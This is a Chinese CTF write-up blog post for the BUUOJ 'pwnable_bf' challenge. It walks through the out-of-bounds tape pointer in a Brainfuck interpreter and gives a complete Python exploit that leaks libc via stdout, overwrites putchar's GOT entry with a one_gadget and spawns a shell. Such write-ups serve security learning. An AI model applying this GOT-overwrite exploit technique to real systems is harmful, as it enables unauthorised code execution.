首页 > 其他分享 >buuoj-pwn-pwnable_bf

buuoj-pwn-pwnable_bf

时间:2022-12-24 00:11:18浏览次数:38  
标签:bin bf gift esp libc pwnable result address pwn

buuoj-pwn-pwnable_bf

总结

  • bss段上存储libc地址的地方有很多,最值得注意的就是stdin、stdout

  • brainfuck的认识(虽然这题没用 [、] ),如下:
    img

    img

题目分析

简单一看就知道本题实现了brain fuck解释器,具体逻辑如下:

int __cdecl do_brainfuck(char a1)
{
  int result; // eax
  _BYTE *v2; // ebx

  result = a1 - 43;
  switch ( a1 )
  {
    case '+':
      result = p;
      ++*(_BYTE *)p;
      break;
    case ',':
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case '-':
      result = p;
      --*(_BYTE *)p;
      break;
    case '.':
      result = putchar(*(char *)p);
      break;
    case '<':
      result = --p;
      break;
    case '>':
      result = ++p;
      break;
    case '[':
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

而漏洞也在这里,就是对p指针没有进行限制,我们可以利用它越界写越界读,那么我们来看看它附近能利用的数据吧,如下

puts@got	0x804A018
putchar@got	0x0804A030
stdout@@GLIBC_2_0	0x804A060
stdin@@GLIBC_2_0	0x804A040
p=tape	0x0804A0a0

那么思路很明显,如下:

  • 利用stdout泄露libc
  • 往puts函数的got表写ogg(失败咯!库鲁西)
  • 那就打putschar的got改成ogg!

EXP

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-12-23 23:08:22
LastEditTime: 2022-12-23 23:29:28
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

if gift.remote:
    libc = ELF("./libc-2.23.so")
    gift["libc"] = libc



pd = ''
pd+= '<'*0x40   #now p in 0x804a040
pd+= '.>'*4     #now p in 0x804a044
pd+= '<'*(0x48 + 0x4 - 0x18) #now p in 0x804a030
pd+= ',>'*4
pd+= '.'


sla('except [ ]',pd)
lb = recv_current_libc_addr(libc.sym._IO_2_1_stdout_)
libc.address = lb
log_address_ex2(lb)
sleep(1)
'''
$ one_gadget libc-2.23.so
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL
'''

ogg = p64(lb + 0x5f066)
#ogg = p64(libc.sym.gets)
for i in range(4):
    s(ogg[i:i+1])

io.interactive()

(虽然有一点很奇怪,我将p移到stdout居然要0x40个<...过几天再研究吧)

不用过几天了,调试一看就知道是因为p的地址是tape的地址,也就是0x804a0a0

标签:bin,bf,gift,esp,libc,pwnable,result,address,pwn
From: https://www.cnblogs.com/7resp4ss/p/17001869.html

相关文章

  • POJ 3278 Catch That Cow(BFS)
    POJ3278CatchThatCow​ 现在你在一个数轴上的位置x,位置k上有一头牛,你要抓住这头牛,也就是走到位置k上。那怎么走呢?你有两种走路的方法,一种是从x移动到\(2\tim......
  • buuoj-pwn-gwctf_2019_shellcode
    buuoj-pwn-gwctf_2019_shellcode总结可见字符shellcode优先判断能不能利用\x00非预期一手题目分析IDA打开,看不了main函数,但是汇编也挺简单的,看看汇编就知道是打开沙......
  • P1379 八数码难题(BFS)
    P1379八数码难题​ 八数码问题就是在\(3\times3\)的棋盘上,摆有八个棋子,每个棋子上标有1至8的某一数字。棋盘中留有一个空格,我们用0来表示。给出一个初始局面,给......
  • BFS,DFS算法
    算法题目  基础:1.数组2.字符串3.排序4.贪心5.递归6.循环7.滑窗8.栈9.进制转换10.位运算11.队列12.哈希表13.链表14.线性表15.二分查找......
  • WebFlux 详解
    今天我们开始来学习下​​WebFlux​​,为什么突然要学这个东西?因为我之前是想学习​​SpringCloudGateway​​​来着,然后发现它是基于​​Spring5.0+SpringBoot2.0+Web......
  • buuoj-pwn-starctf_2019_babyshell
    buuoj-pwn-starctf_2019_babyshell逆向分析GLIBCubuntu16,不涉及内存管理也没啥需要讲的关键函数主函数__int64__fastcallmain(__int64a1,char**a2,char**a3......
  • 杂谈#105 用户付费的8种情况,SBF被捕了,港股首发比特币期货ETF
    用户付费的8种情况,SBF被捕了,港股首发比特币期货ETF以下内容来自群聊整理,仅供参考。增加群价值有什么建议?1.副业交流2.文化娱乐(旅行、书籍、深度解......
  • spring webflux项目集成后台管理系统的用户登录,支持用户session
    配置pom.xml:<?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ......
  • spring webflux项目启动类
     importlombok.extern.slf4j.Slf4j;importorg.springframework.boot.SpringApplication;importorg.springframework.boot.autoconfigure.SpringBootApplication;im......
  • 搜索问题 DFS BFS
    搜索问题DFSBFSDFSdfs更多用于解决存在性问题和遍历性问题他可以很容易找到一个东西是否存在,比如说一条路径是否存在,不需要恢复现场也可以比较方便的展示所有的情况,......